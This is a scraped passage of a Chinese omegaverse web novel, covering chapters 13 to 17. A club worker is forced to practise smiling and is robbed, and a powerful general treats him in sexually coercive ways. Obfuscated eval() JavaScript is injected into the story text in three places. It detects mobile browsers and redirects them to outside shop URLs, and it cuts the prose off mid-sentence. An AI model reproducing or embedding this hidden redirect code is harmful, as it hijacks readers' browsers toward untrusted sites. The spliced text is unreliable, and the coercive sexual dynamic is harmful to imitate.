皱着眉抬起胳膊,小心翼翼闻了闻自己,没闻到什么奇怪的味道,但何飞的描述让他浑身不自在,赶紧过去把窗户打开了。 “你今天也轮休?怎么不在屋里休息?”耿诺拉开窗户,他们的宿舍没有向阳的,没有什么亮光能从窗户透进来,也仅仅能起到一个通风的作用。 何飞摇摇头,“工作日轮休只是当天不用给客人服务,别的还要做的。” “别的?要做什么?”耿诺以为只是不能离开这里。 皮克斯果然是黑心资本家。简直把人当驴使。 耿诺侧开让何飞进来,“你今天有什么安排吗?我好像没事。” 何飞说:“我就是来给你‘安排’的。” “?”耿诺一脸茫然。 “其实,我今天收到的通知,是来给你做专职培训。” “培训?”耿诺不解道,“刚来的时候不是都做过了吗?” 何飞神情也有些怪异,欲言又止:“是因为俱乐部收到一条客人对你的投诉……” “??”耿诺警惕道:“谁投诉我?” 袁冰清?还是哪个看我不爽的Omega?不对,是客人,难道是之前上酒的时候摸我屁股的? 还是说根本就是皮克斯为了整我杜撰的? “会不会扣钱?!”这是当务之急的问题。 耿诺一脸痛心疾首,我就知道皮克斯这老贼不会这么老实…… “哦不会,老板只是让我给你做个培训。” “那就好……”耿诺松口气。 “所以,到底是什么投诉?” “是顾上将。”何飞不知从哪掏出一双筷子,“顾上将跟老板说……你笑得不好看,老板让我来教你怎么笑。” 耿诺:“???” ……不是,他有病吧! 耿诺气得头顶都要冒青烟了。 我又没朝他笑过!凭什么嫌我笑得不好看。 他天天把我欺负哭这样那样还不够,现在卖了屁股还要卖笑吗? 真是个坏家伙。 何飞看出耿诺不高兴,但是职责所在,还是分给他一根筷子。 耿诺气恼道:“我不干!” 何飞为难道:“这是老板的命令。” 耿诺气得跺脚,叫嚣道:“你就去告诉皮克斯,看他能把我怎样!” 他一个Beta……他一个Beta! 为了活命委曲求全去讨好一个Alpha已经很可悲了,现在连怎么笑都要练习,是可忍孰不可忍,他可是男子汉大Beta,凭什么这么欺负人! 何飞向他解释,“也不是老板故意为难你,主要是顾上将临走前交代了,如果回来你笑得不好的话,就……” 耿诺梗着脖子,“就怎样?” 何飞说:“就不再给你小费了。” 耿诺:“……” 好嘛,死死拿捏住了他的命脉。 他很想硬气地说一句:“不给就不给,谁稀罕!” 现实是他一个字也说不出口。 要是说扣他工资的话,耿诺还真不怕,皮克斯那里的月薪他原本也不指望拿,就打算趁逃跑前能在顾承砚身上捞多少是多少。 顾承砚出手还算大方,可他要是不再给小费,之后岂不是只能白白被他欺负了? 耿诺堪堪忍住冲到嘴边的脏话,再不忿也只能老实接过筷子。 他拿着筷子横竖比划两下,问:“这怎么练啊?” 何飞耐心讲解,说什么中位笑线,露出八颗牙齿才是最雅观最好看的笑,听得耿诺云里雾里。何飞见他一脸茫然,就把另一根横着衔在自己齿间,给他做示范。 耿诺照着他的样子叼着筷子,生动形象地展示了什么叫小狗呲牙。 14.第14章 何飞瞧他模样,忍俊不禁道:“真可爱,怪不得顾上将喜欢你。” 这是在夸他吗? 耿诺敏锐地察觉到自己好像被嘲笑了,呲着的牙立刻收了起来。 “哎,别停,就像刚才那样就很好。” 耿诺又衔了一会儿,口水都要留下来了,取下筷子“呸呸”两声,愈发忿忿,他看向何飞,眼睛眨巴眨巴,无辜又可怜。 “要不我自己练吧,再怎么说也是我被投诉受到惩罚,怎么能连累你陪我拜拜浪费一天轮休呢。” “再说,你在这看着,我……我不好意思。” 何飞哪里看不出他在想什么,又将筷子塞回耿诺嘴里,耿诺咬着筷子,可怜兮兮,像极了落寞小狗。 “我可不像你,敢跟皮老板拍桌子,我还要在他手底下吃饭呢。”何飞不吃这套,把耿诺拉到镜子前,让他对着镜子练习。 “那……”耿诺眼珠子一转,又想说些别的,何飞根本不给他闲扯的机会,掰着他的头扭向镜子。 “不要说废话了,快笑!” “……” 镜子里的耿诺,将筷子抵在齿间,眼尾都要耷拉到嘴角了,僵硬地扯出两个酒窝。 · 裴斯曼帝国皇宫。 穆迩本来打算和顾承砚去政务殿细聊,结果在路上就把事情谈得差不多了。 “你是说,狂鲨培养间谍的事还没有定论,但是意外查出了他们给贵族们输送禁脔,这些人从狂鲨进入贵族后院后几乎没了下落?”穆迩大为震撼,“也就是说,这些人可能还参与着人身买卖的勾当。” “正是。” “这件事里面也有莱特侯爵的身影?那你可真是消灭了个大毒瘤啊。”穆迩神情严肃起来,“可是他会扮演什么角色?” 顾承砚:“可以找个人下去问问他。” 穆迩看他事不关己的样子就开始不爽,“你就站着说话不腰疼吧,咱们回过头来想,是不是还有很多种办法可以制裁那个毒瘤?” “至少,咱们在吃下他的产业之前可以先扫扫雷。”穆迩唾弃道:“这个老莱特,真是什么腌臜事都掺一脚。” “别这样,陛下,吃得满嘴流油就不要翻旧账了。”顾承砚嘲讽的模样仿佛在和人讲道理。“您当初也是同意我这么做的。” 穆迩怒道:“我同意?我同意什么了?” 顾承砚友好地帮他回忆了下—— “我向您请示过,莱特侯爵交由我处理,就不收着手了。” “您说——” “''随你。''” 穆迩更怒了,“我原本以为你所谓的''不收着手'',不过是把莱特侯爵抓起来,随便定个板上钉钉的罪名,好名正言顺地把他搞垮,再把他的产业大洗牌吞并。” “我都跟上议院打好招呼给你一路加急绿灯了,好,你没用,这也就罢了。我寻思你最不济也是私下对他处以极刑……”穆迩加重了“私下”两个字,怎么听都像在咬牙切齿,“谁能想到!你居然直接在迎宾大道——帝星最繁华的迎宾大道,当着这么多人的面把他头砍了?你真是……你真是……” 其实他更想说的是,打点上议院用的是他的私房钱,但说出来显得他一个皇帝这么小气。 可是,钱给了,事儿不办了,这钱也他X的要不回来了! 穆迩存点私房钱不容易,怎么能不肉疼。 “别装了陛下,”顾承砚无情拆穿他,“这段时间你的钱袋子可多了几千万倍的私房钱,还心疼那几个子儿。” 穆迩肉疼道:“你个单身汉又不用赚钱养老婆,你懂个屁!” 老莱特侯爵手里掌握着很多至关重要的科技命脉,安普斯集团的份量让穆迩陛下眼馋许久了,莱特侯爵出事之后,他迅速让人瓜分了安普斯集团。 这件事是借着顾承砚的手去做的,但是他们俩谁都没有出面。 不过莱特侯爵死在顾承砚手里,谁都知道这背后少不了顾承砚的势力。 至于其中有没有皇帝的手笔…… 不得不说,在演戏这块,穆迩陛下的确首屈一指。虽然曾经两人在对抗贵族时,要好得像穿一条裤子的兄弟,可如今顾上将势力日渐壮大,皇帝不得不分出一些心神来警惕他。 这次顾承砚当街绞杀莱特侯爵,贵族们隔三差五就来给穆迩上眼药水,今天他敢杀侯爵,明天指不定敢不敢对陛下动手呢。 穆迩果然雷霆大怒。 外人看起来,顾上将最近的日子很不好过。 停了他的职——其实是带薪休假。 收回他的军队——正好要安排去军队附近的星球拉练。 甚至“差点”要革了他的上将军衔。 现在任谁看了都觉得皇帝和上将闹掰了。 所以,对于安普斯集团,乍看上去只是一群鬣狗蜂拥而至分食了大象,但挤在其中的顾上将也没能分得多少肉。 最起码那群贵族心气儿顺了不少。 要不是外面闹出这番动静,皮克斯和他背后的人也不敢怂恿顾承砚背叛皇帝。 这事变得越来越有意思了。 穆迩叹了口气,“好吧,说实话,你杀了莱特侯爵,虽然简单粗暴,但是真的给我解决了个大麻烦。那些贵族们看在你的军部实权上也不敢轻举妄动。” “至于会不会打草惊蛇,我想不管怎么样,现在也都打草惊蛇了,不然他们不会向你抛出橄榄枝。你继续和他们周旋,我去查查莱特侯爵的后院,这里还一直漏着没查呢,我觉得他这个人……” 顾承砚微微侧首:“您说什么?” 穆迩陛下抬起头,这才注意到已经走到政务殿附近,而政务殿外装修的轰鸣声已经把他的声音盖过去了。 六米多高的机械臂将石板路挖得惨不忍睹,“嘎哒噶哒”声音震耳欲聋,站在路边也能清晰地感觉到震动。 听着这动静顾承砚更不想去政务殿了,找了个借口准备离开。 “所以皇宫到底在翻新什么?”离开前,顾承砚还是没忍住问。 “没翻新什么。”穆迩陛下的神情不太自然,“我只是让他们把皇宫政务殿周围的地皮通通铲起来,再恢复原状,然后再铲起来……” “……”听起来像没事找事。 “您这么做意义何在?” “前段时间的检修中,皇宫的屏蔽系统遭到了黑客攻击,虽然已经修缮完毕,但洛洛总是不太放心。”穆迩陛下换了副表情,骄傲中带着自信,自信中又涵盖着百分之八十的虚张声势。“而我选择这种做法,正是为了让政务殿的一切谈话都在隐秘中进行。” 顾承砚看了看外面高高举起的机械臂和惨不忍睹的地面,理所当然地把穆迩话中的“修缮完毕”当成放屁。 “您是说,我们现行的科技已经被击得溃不成军,以至于保密措施只能采用物理防护了吗?” “……够了顾上将,不要用‘裴斯曼帝国完蛋了’的眼神看着我。” 穆迩陛下悻悻解释,“维持三百年的卫星监测系统被一些未知的神秘物摧毁了,我们不得不花大价钱去重建银河护卫框架体系。这群该死的废物到现在都没有查清事情根源,今天送上来的初步调查报告竟然说‘推测为太空游离垃圾’,谁家的太空垃圾造成如此巨大的连锁反应?!” 顾承砚敏锐地提取到了重点,“所以因为重建银河卫星检测系统,您的国库里已经没有今年翻新皇宫的预算了是吗?” 穆迩陛下:“……” 该死的让你猜对了。 不过这只是明面上的,毕竟皇帝吞下莱特家的产业这件事还不能让那些贵族知道。 “贵族和议院的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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穆迩瞬间就急眼了,“你……你是唯恐天下不乱吧!”疯狂抢夺顾承砚手里的终端,“为什么你会有希洛的联系方式!” 顾承砚向后撤了一大步,举着终端的手高高举起,毫不客气地说:“晚了,已经发给皇后殿下了。” 他把终端屏幕展示给穆迩陛下看,已发送的音频后面跟着一个显眼的“已读”。 穆迩陛下的脸一下子就黑了,“他为什么秒读你的讯息?我三天前给他发的信息到现在还是未读!” “谁知道呢。”顾承砚摊手:“可能你老婆不爱你吧,他今天早上还把你一路打出来。” “你都没老婆你懂个屁!”穆迩气急败坏地吼他。 两人私下相处时经常没有君臣之分,有时候顾承砚的气势还要更强些,对待这个年轻的皇帝陛下,顾承砚很多礼数都非常浮于表面,不过穆迩并不介意。 毕竟那些贵族也不怎么尊敬他,相比之下,顾承砚与他是过命的交情。他把军权交给这个地下黑市里出来的残暴王者,而回报则是这些年各大星球的叛乱得以平复,一切蠢蠢欲动也都被压下。 即使在外人看来,顾上将的势力马上就要超越皇权。 那又怎么样呢?他连老婆都没有。 Alpha总会在一些莫名其妙的地方产生优越感。 穆迩开始冷嘲热讽,“顾上将,我知道你嫉妒我,我衷心地劝告你,如果你再这么生人勿近、视Omega为洪水猛兽的话,你一定会孤独终老的。” “不过这次你竟然很罕见地接受了一个Beta,希望他能成为你的劫。”穆迩幸灾乐祸地说:“当然,这不是祝福,我还是打心底希望你失败的,这样等我们老了,我就可以和希洛带着满堂子孙在你面前狠狠秀一下存在感。” “是吗,我记得刚刚有人说要出轨,想必裴斯曼皇宫要不了多久就要迎来新人了吧。到时候这满堂子孙未必是你和希洛的呢。” “你……” 穆迩咬着后槽牙,发出嘎吱嘎吱的响声,恶狠狠地瞪着顾承砚,“你就得意吧,顾上将,小心阴沟里翻船!” “阴沟?”顾承砚不屑一顾地勾起唇,“你说那个Beta?” “对!就是那个Beta。”穆迩恶狠狠地诅咒他,“你一定会栽在他手里的。” 15.第15章 皇帝陛下和顾上将在政务殿外大吵一架的消息很快传遍了全皇宫,然后又以光速传到各个贵族耳中。而此时的耿诺还在苦哈哈地练习怎么笑,约么两个小时后,逐渐有了点成果,何飞觉得姑且也算完成任务,终于开始松懈一些。 两个人多了点闲聊。 何飞不无疑惑地问:“你怎么得罪顾上将了?这明显是个借口,就是想给你点教训。” 耿诺叼着筷子摇头,他哪里清楚。 何飞在狭窄的卧室走来走去,认真帮他分析,“在客人面前,就算再不高兴,笑容也要真诚,他们怎么会不知道彼此之间都是虚情假意,但是他们就要你演得像真的。你是不是没控制住自己的表情,笑得太假了?” “怎么可能!”耿诺把筷子拿下来,替自己分辩,“我都没朝他笑过!” “啊?”何飞傻眼了,“你服务顾上将的时候……没笑过?怎么可能?” 他喃喃思索:“难道顾上将喜欢冷淡的?” 耿诺觉得顾承砚是喜欢看人哭,但他不打算跟何飞说,太丢Beta了,男子汉大Beta,被Alpha日哭吓哭什么的,怎么说得出口。 他搪塞两句含糊过去,何飞也没细究,转而分析道:“那就只有一种可能。” “什么?” “你肯定对别人笑了,还被顾上将看到了。” “啊?” 何飞说:“你想啊,你既然在顾上将面前没笑过,这么多天他也没计较过,肯定不是介意你从来没对他笑过。但是如果被他撞见你对别人笑,他一寻思,你服务他的时候都不笑,竟然还对别人笑,这肯定生气啊。” “要我说,这就是服务态度的问题。不过好在顾上将没有很生气,否则你哪还能须尾俱全地待在这?”何飞安慰耿诺,“真正把顾上将惹到的下场,看看袁冰清就知道了。” 耿诺终于找到机会问:“袁冰清后来怎么样了?” “哦,死了。”何飞轻飘飘地说。 耿诺瞪大眼,“什么?死了!” 果然,被那样的力气狠狠砸到桌子上…… 见他被吓到,何飞改口,“哎呀不是真的死了,不过跟死也差不多,他现在的状态,我们一般都称呼为死了,反正也是迟早的事。” 耿诺还是戚戚焉,何飞突然笑道:“你不会以为顾上将下手这么没轻没重吧?” 他啧啧两声,“你呀,一看就是没见过大世面的。以顾上将的力气,想杀他,当场就能让他脑花四溅,那天抬出来诊治其实只是点皮外伤,养养就好了,可谁让他贸然得罪了老板的贵客,现在好了,皮老板把他当作弃子,下放到那些不入流的娱乐场所了,能不能活下来就看他的命了。” 何飞说到最后忍不住笑出声,搞掉一个难缠的竞争对手比什么都开心。 耿诺听得一阵反胃。 “你也不用怕,顾上将可是个金大腿,把他抱好了,以后有你的好日子。你不知道吧,在这里如果被客人看上带回家,就能享受无尽的荣华富贵,跟他们回了家,就和在这里不一样了,就算没有名分也是半个主人,他们会把你当自家人看待,而且就算日后没感情了,也会给一大笔钱让你恢复自由身,你如果想离开这里,一定要抓住机会。”何飞看着耿诺的眼睛,认真地说。 耿诺一惊,以为自己暴露了什么。 还好,对方似乎只是向他介绍一种好的归宿。 耿诺胡乱点点头,表示自己要好好想想。何飞善解人意地为他留出空间,先行离开了。 在这里没有活路的,耿诺认清了这个现实,趁着有时间赶紧把之前搜罗来的零件进行组合,试图组装成一个能够入侵主系统的探测仪。有了皮克斯的芯片,足以事半功倍。 他用了一个下午的时间组装完成,就在思考要不要今日趁热打铁去测试一下的时候,宿舍的门再次被敲响。 耿诺急忙把探测仪藏好,过去开门。 门外是三个不认识的服务生。 “有事吗?” 那几人说:“皮老板找你。” 耿诺疑惑,皮克斯这会儿找他做什么?难不成怕他没伺候好他的贵客,忍不住又要来给他上上课? 他出去把门带上,跟着那几人走。 边走边寻思,如果是在皮克斯办公室的话,正好进去再观察一下,方便找时机把合同偷走。 上次进去时,没太注意里面的构造。 皮克斯当时从哪抽出来他的合同的? 走到半路,耿诺觉得不太对劲,这好像不是去皮克斯办公室的路。 “皮克斯在哪?” 前面三人惊疑地回头看了他一眼,似乎在惊讶他竟然直呼老板名字。 其中一人皱眉道:“跟我们来就行了。” 耿诺四处张望了一下,已经走了快十分钟了,可他们还带着自己在楼里兜圈子,并且为了防止打扰到客人,专门带他往客人鲜少涉足的地方。 这可不像是皮克斯要见他的样子。 他停下脚步,警惕地望着三人,“你们到底想带我去哪?” 三人见事情败露,互相对视一眼,随后二话不说扑上来制住耿诺的手脚。 “你自找的!” 耿诺剧烈挣扎,中间一人照着耿诺的腹部猛踹一脚,但由于耿诺的反抗,这一脚只踹到了腰侧。 “呃!” 即便如此,也疼得耿诺倒抽一口气。 一群疯子! 耿诺死死咬着牙,咽下了这声痛,再不给这些人继续动手的机会,反手把抓住自己胳膊的人甩过去,砸在刚刚踹他的人身上,两人叠罗汉似的摔在地上,惨叫一声,剩下一人见状还要动手,耿诺随即抓着那人的头发,一脚把他也踹到那两人身上。 三人躺在地上“哎哟、哎哟”地叫。 耿诺厉声质问:“我不记得我得罪过你们,谁让你们来的,到底想做什么?” 他们仨似乎没想到耿诺看着瘦弱,竟然能一打三,眼中露出些怯意。 耿诺走过去还想继续审问,那几人却连滚带爬地起来跑走了。 他们最后放的一句话是:“你等着,别以为你能一直入顾上将的眼。” 耿诺站在原地,感觉这件事说不出的诡异。 他们因为嫉妒自己被顾上将选去服务? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13718440|144217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >什么毛病…… 嘶。 耿诺捂着腰,白衬衫上留下一个明显的鞋印,恐怕又要淤青了。 他缓缓往回走,突然想起了什么,顾不得疼痛,飞快跑起来。 回到宿舍屋外,果然看到刚刚关好的门变成虚掩的了。 耿诺一阵心凉,赶紧冲进去。 宿舍本就很狭窄,除了张床就是简易的桌椅和衣柜,现在到处一片狼籍。 果然是调虎离山,他们想找到什么? 墙上挂着一件显然不属于耿诺的大衣,这是那天顾承砚在台球室留下的,大衣安然无恙地挂在墙上,耿诺一个箭步过去检查口袋。 探测仪还在。 耿诺用顾承砚留下的雪茄盒作为探测仪的外观,用了点技术让它很难打开,很有迷惑性,一般人拿到手里可能也只会觉得是个坏了的雪茄盒。 他刚刚把这个藏在顾承砚的大衣里,贵客的东西想必这些惹事的小喽啰也不敢动。 还好,还好。 看来没被发现。 那他们进来想找什么? 耿诺猛然回神,趴到床底。 黑色布包的拉链大敞着,里面空空如也。 他们甚至十分猖狂地给他剩下两张银河法钞。 生怕他不知道被洗劫了似的。 耿诺的脑子嗡得一下,这些人竟然把他的钱偷走了! 他愤怒极了,他知道这是刚才那伙人的下马威,因为嫉妒他得了顾上将的青眼,恐怕一开始谁也没把他当回事,只是供波西男爵享乐的一次性玩具,没想到眨眼间傍上顾承砚上将,按照何飞的说法,还有可能被顾上将带回家,直接麻雀变凤凰。 所以他们偷走了他的钱,他……付出了一切换来的钱,他留给父亲治病的钱! 这是挑衅,他现在应该去把他们找出来,狠狠揍他们一顿,然后把钱抢回来,既然他们不怕事情闹大影响到别的客人,那他也不怕。 耿诺愤怒到极点,根本不在乎他们究竟是单纯地想欺负他还是想引诱他犯错,好把他从顾上将身边蹬下去。 他现在只想把这群小偷撕碎! 耿诺是这样想的,可眼泪却先一步从眼眶涌出,断了线的珠子般哗哗往下落。 他死死攥着空荡荡的黑色布包,肩膀在轻轻颤抖。 这些人、这些人…… 太坏了! “我还想着小耗子躲到哪里去了,原来回洞了。”磁性的声音从门口传来,顾承砚敷衍地在半开的门上敲了两下,从身后看,耿诺今天换了身小西服,瞧着有些新奇。 听到声音的耿诺身形僵了一下,却没有任何回应。 顾承砚鹰目微眯,有些不满,正准备过去把这个没礼貌的小家伙掰过正面来好好打量欣赏一番,听到脚步声的耿诺终于回过头。 顾承砚这才得以看清他的面庞。 眼眶是红的,鼻尖也是红的,脸颊上的泪痕清晰可见,愤怒与恨意浸在那汪泪里,他难堪地回头望了眼,随即又转过去继续背对顾承砚。 纤瘦的脊背轻轻颤抖,压抑着委屈的啜泣。 顾承砚神色有些异样。 16.第16章 顾承砚敛起神色,粗重的呼吸暴露了些他此刻的情绪。 但只是一瞬,他信步走进这狭小的宿舍,逡巡一圈,视线落在耿诺手里的布包和床底零散的两张银河法钞,心下明白了大概。 “哭什么?”顾承砚捞起耿诺的胳膊,把他扔到床上。 耿诺哭声里掺着些挣扎,坐在床上还是把头扭到一边。 顾承砚掰过他的下巴,耿诺倔强地咬着嘴唇,觉得在他面前哭太丢脸,可脸上惨兮兮的泪痕毫无说服力,显得他格外委屈。 “怎么,耗子窝被掏了?”顾承砚拇指在他眼睛下方抹了一把,瞬间出现一道嫣红,“多大点事。” 他突然提起了点兴趣。之前睡觉都忘不了张口要钱,现在居然学会委婉点加入剧情了。 皮克斯还真给他做了业务指导? 耿诺再怎么迟钝也能听出他话里的不屑一顾,瞬间暴怒,通红的双眼恨恨地瞪着顾承砚。 什么叫多大点事! 那么多钱!你知道这是我付出了什么换来的吗? 他鼻子一酸,眼泪又开始往下掉,愤恨的眼神半分威慑也没有了。 “什么叫多大点事,怎么能叫多大点事!他们把我辛苦攒的钱全偷走了,我都……我可是……”忍气吞声献身给你这个Alpha了,差点命都没了,现在只是想攒点钱跑路而已! 耿诺悲从中来,窝窝囊囊地缩在床上,一抽一抽的,看得顾承砚心痒痒的。 他开始好奇耿诺要怎么把戏演下去了,于是坐在床边,十分配合地问他:“被偷了多少钱?” “很多!”耿诺带着哭腔大声控诉。 一共215张银河法钞,那伙人偷走了整整213张,只留下两张嘲讽他。 这是两万一千三百银河币,二十一万三千卢克,够父亲四次治疗的费用了! 顾承砚了然,还没想好数额,看来胃口不小。 他轻笑,很是不屑。 “能有多少。” 耿诺剜了他一眼,眼眶里含着的泪却趁机掉了一滴。 顾承砚被他瞪得有些荡漾,心口一阵酥麻,干脆给足他思考时间,直接进入下一个环节,问他:“你很缺钱?” 这句话是一个信号。 是借驴下坡的坡,顺杆上爬的杆。 是不管在什么样的场合,这些服务生或小鸭子们都最喜欢的一句话。 一旦客人问出这句话,他们就可以夸大其词地编造出各式各样的故事,来阐述自己多么悲惨多么需要金钱,以求高高在上的客人滋生一点怜悯之意,然后大方给钱。 但这也不是随随便便说出来就有效果的。 混迹欢场的客人们早已见多识广,千篇一律的赌棍欠债亲爹重病幼弟孱弱和背负生存重担的“他”,很容易让客人们产生怜悯的阈值升高。 所以他们要不断更新换代出更引人入胜的说辞。 有段时间甚至不以悲惨取胜,而是通过夸张猎奇的脑洞取胜,要有理有据但又离谱到把客人逗乐,同样能捞到大笔小费。 当年还在黑市收保护费的时候,有个老鸨头每次喝酒都要跟顾承砚哭诉,说自己天天两眼一睁就是给手下的小鸭子写剧本,头发都要掉光了,赚点钱容易吗balabala……最后的收尾永远是豪情万丈地表示总有一天他会混到上城区成为才华横溢的编剧,到时候一定会在采访中说顾承砚是他最好的兄弟。 然后问他这个月能不能少收点租金。 顾承砚回忆了一下当时老鸨头细数过的鸭子悲惨身世变迁历史,突然很好奇现在更新换代到什么剧情了。 他开始理解当时居然有人专门去欢场听故事的行为了。 就像现在,他真的很想听听耿诺会讲出什么新奇“故事”。 耿诺对顾承砚的心路历程一无所知,他还沉浸在自己的悲伤中,越想越觉得自己命途多舛,吸了吸鼻子,有些丧气地说道:“我的Alpha父亲欠了一大笔债跑了,Omega父亲又生了重病,需要很多钱的。” 顾承砚等了两秒。 没了? 他眼神怪异地望着耿诺,问:“你家里是不是还有弟弟?” “对啊。”耿诺一脸“你怎么知道?” “我有两个弟弟呢。” 顾承砚:“……”你在这里是被孤立了吗? 他斟酌道:“没人跟你说,你们这行已经不流行这种人设了吗?” 耿诺没听懂,“啊?” 顾承砚心中盈起淡淡的遗憾。 掏钱的欲望减了大半。 他转而打量起耿诺身上的西装,之前没见他穿过这身衣服,没想到收拾收拾别有一番味道。 衬衫上有一团脏污,依稀看出是个鞋印。 电光石火间,顾承砚突然疑心这事可能不是自己想的那样,伸手把耿诺的衬衣从裤腰抽出来,要往上掀。 耿诺被他不打招呼就掀人衣服的举动吓到了,不明白话题是怎么进行到这一步的。 拦着他的手不让他掀。 他现在不想做。 可惜下一秒,双手手腕就被顾承砚一掌牢牢握住,耿诺只好用脚扑棱。顾承砚微微皱眉,声音陡然严厉起来,“别动,让我看看。” 看看,看什么? 还能看什么? 他是客人,来这里找他还能看什么做什么? 耿诺突然感到一阵无力,卸了力气,咬着嘴唇撇开头,任其摆弄。顾承砚把衬衫推上去,脸色倏地暗了下来。 腰侧红通通一片,眼见着有淤紫的趋势。 随后三两下把耿诺的衣服全部褪去,被剥光的耿诺任由他像摊煎饼一样翻来覆去,头埋在床单上,脸下的床单浸湿一片。 除了腰侧像是被踹出的红痕,其他地方的痕迹都是顾承砚前些天留下的,现在已经逐渐消淡,唯独膝盖看起来有些触目惊心。 那天在台球桌上跪得久了,细皮嫩肉的膝盖青紫一片,和近旁的肤色对比格外明显。 检查完毕,顾承砚的手轻轻覆在他腰侧,眼眸深黯。 耿诺认命了,抿着唇在心里念叨:做吧做吧,做完我好去找那群混蛋算账。 可始终不见顾承砚动作,他的手依旧在耿诺腰侧摩挲,搞得那块皮肤都要比别处烫上许多。 耿诺忍不住回头窥探,对方神色似在思索。 顾承砚问:“钱真的被偷走了?” 耿诺瞬间反应过来,好嘛,所以前面一直当他扯谎呢? 他心中气恼,拼命挣扎起来。 “没有,没被偷,我骗你呢,我没被偷钱!” 顾承砚蹙眉,没想到他突然反应这么大,手压在他背上,用了些力气把他按下去。 一瞬间,耿诺像被树枝钉在河床的鱼,连扑腾的力气都没了,只能趴在床上小声哽咽。 “什么都没被偷,他们没把我叫出去打我,也没趁机把我的钱都偷走,什么都没有……” “这样信了吗?骗你是小狗!”耿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13722461|144217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诺瘪嘴呜咽,还在压抑着哭腔,简直是受了天大的委屈。 顾承砚每次看到他哭,都会有一种异样的感觉,面上波澜不惊,心中暗自发笑,说话都不受控制了,你可不就是小狗。 那套缺钱的说辞姑且不论,钱被偷的事大概是真的。 还被偷了不少。 看他这伤心模样,恐怕几个月白干,难过也是情理之中。 至少有几十万银河币吧,这破口袋装个几千张银河法钞看起来也不成问题。 顾承砚态度缓和许多。 “好了,别哭了。” 倏地,他想起最初的一件事,若有所思地问:“第一次见你时腰上的淤青也是跟人打架弄的?” 当初因为那道暧昧的淤青,顾承砚疑心耿诺的青涩只是伪装,以至于那晚下手没轻没重的。 耿诺听到这话愣了,眼泪都忘了流,反应了两秒才回神。 这一瞬间,他像是突然从八月飞雪的苦寒中被一个跃迁架到沸腾的火山口那般难以置信。 青天大老爷,您终于想明白了? 你是想明白了,可我百口莫辩啊,事情的真相还不是靠你主观臆断! 就、像、刚、刚。 耿诺梗着脖子反驳:“不是!就是在别的客人床上弄的!” 说完又赌气地把头埋到床上。 顾承砚气乐了,被他呛声也忘了恼,伸手在他屁股上使劲揉了把,“别故意跟我唱反调,好了,起来。” 耿诺趴着没动弹。 他轻轻拍了拍耿诺的屁股蛋,再次问道:“到底被偷了多少?” 你管我被偷了多少!你给了我多少心里没数吗? 顾承砚强行把他拽起来,床单上赫然印着湿润且鲜明的五官痕迹。 看起来十分滑稽。 耿诺觉得床单都在和自己作对,破防大叫:“很、多——!都说了很多!” 行、行,管他是多是少,一会儿查查就知道了。 顾承砚还是给他留了点面子,忍住没笑出声,甚至好心地抽了张纸给他拧了拧鼻子。 耿诺像个小孩似的在他手里擤鼻涕。 擤完不知道是嫌弃自己的鼻涕还是觉得羞耻,推着顾承砚的胳膊把自己往后怼了怼。 眼泪倒是不怎么流了,呼吸还没缓过来,不受控制地反复抽气。 顾承砚把纸巾扔掉,擦擦手,一伸胳膊把耿诺揽过来。 “别哭了,留点水用下面淌。” 他面色坦然地说着臊人的话,怀里光溜溜的人顿时热气蒸腾。 见他不哭了,顾承砚掐起耿诺的下巴,逗弄:“笑一个。” 耿诺被调戏得恼羞成怒,现学现卖给他呲了个牙。 “啧。”好心哄人反被挑衅,顾承砚伸出手指粗鲁地探进耿诺的口腔,钳住一侧猖狂的尖牙,“再让我看你呲牙试试。” 说话声音不大,震慑力却很强。 耿诺拼命后仰,可怜兮兮地哎哎叫唤,自己的虎牙却逃不出魔爪,嘴也合不上,只能含糊地讨饶:“不敢了,不敢了……” 纵是这样求饶,顾承砚也没轻饶他,两根手指在耿诺口中搅和了个尽兴。他的手指粗长,骨节分明,指腹还有粗砺的茧子,和耿诺滑嫩的舌肉形成鲜明对比。 玩到耿诺下巴都酸了,兜不住涎液,才停下。 顾承砚抽出手指,上面沾满晶莹的唾液,他哼笑一声,把手指伸到耿诺眼前。 “看,都被你泡发了。” 17.第17章 太不知廉耻了! 不要脸! 耿诺拼命扭着脖子,打死也不看一眼那两根罪恶的手指。红温直冲天灵盖,又蔓延到脖子,甚至还有继续向下的趋势。 快熟透了。 顾承砚这种恶劣的性格,找到一个乐子就要玩到尽兴才罢休,当然不会让耿诺轻易躲开,手指追着他的目光,不管转向什么角度都如影随形地跟着。 耿诺脸皮还是很薄的,被顾承砚的恶趣味折磨,羞臊得很,无处可逃,干脆一头扎到他怀里,严丝合缝地把脸埋住,胳膊死死环着他的腰,任顾承砚怎么捏他后颈皮都巍然不动。 顺便把淌下来的口水一并蹭到顾承砚衣服上。 他认为自己做得很隐蔽。 上方传来一声轻斥:“德性。” 顾承砚慢条斯理地又抽了张纸把手擦干净,托着人形挂件起身,把墙上挂着的大衣取下来,松松垮垮地裹在耿诺身上。 “你也不怕把自己憋死。” 耿诺身体僵硬,不敢再跟他唱反调了,探测仪还在这件大衣口袋里藏着,如果顾承砚随手把雪茄盒掏出来,察觉不对,肯定对他更起疑心。 他微微抬起脸,小心翼翼地观察顾承砚的态度。 好像没注意到雪茄盒。 